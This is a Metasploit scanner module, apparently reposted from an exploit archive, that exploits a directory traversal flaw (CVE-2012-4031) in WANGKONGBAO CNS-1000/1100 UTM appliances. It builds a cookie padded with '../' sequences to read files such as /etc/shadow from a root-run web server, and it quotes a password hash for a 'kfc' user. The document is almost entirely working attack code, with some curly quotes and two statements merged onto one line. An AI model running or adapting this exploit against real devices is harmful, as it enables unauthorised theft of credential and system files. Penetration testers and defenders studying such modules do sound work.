WANGKONGBAO CNS-1000 And 1100 UTM Directory Traversal

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner

def initialize(info={})
super(update_info(info,
‘Name’ => ‘WANGKONGBAO CNS-1000 and 1100 UTM Directory Traversal’,
‘Description’ => %q{
This module exploits the WANGKONGBAO CNS-1000 and 1100 UTM appliances aka
Network Security Platform. This directory traversal vulnerability is interesting
because the apache server is running as root, this means we can grab anything we
want! For instance, the /etc/shadow and /etc/passwd files for the special
kfc:$1$SlSyHd1a$PFZomnVnzaaj3Ei2v1ByC0:15488:0:99999:7::: user
},
‘References’ =>
[
[‘CVE’, ‘2012-4031’],
[‘EDB’, ‘19526’]],
‘Author’ =>
[
‘Dillon Beresford’
],
‘License’ => MSF_LICENSE
))

register_options(
[
Opt::RPORT(85),
OptString.new(‘FILEPATH’, [false, ‘The name of the file to download’, ‘/etc/shadow’]),
OptInt.new(‘DEPTH’, [true, ‘Traversal depth’, 10])
])
end

def run_host(ip)
# No point to continue if no filename is specified
if datastore[‘FILEPATH’].nil? or datastore[‘FILEPATH’].empty?
print_error(“Please supply the name of the file you want to download”)
return
end

travs = “../” * datastore[‘DEPTH’]travs = travs[0,travs.rindex(‘/’)]

# Create request
res = send_request_raw({
‘method’ => ‘GET’,
‘uri’ => “/src/acloglogin.php”,
‘headers’ =>
{
‘Connection’ => “keep-alive”,
‘Accept-Encoding’ => “zip,deflate”,
‘Cookie’ => “PHPSESSID=af0402062689e5218a8bdad17d03f559; lang=owned” + travs + datastore[‘FILEPATH’] + “/.”*4043
},
}, 25)

print_good “File retrieved successfully”

# Show data if needed
if res and res.code == 200
vprint_line(res.to_s)
fname = File.basename(datastore[‘FILEPATH’])

path = store_loot(
‘cns1000utm.http’,
‘application/octet-stream’,
ip,
res.body,
fname
)
print_status(“File saved in: #{path}”)
else
print_error(“Nothing was downloaded”)
end
end
end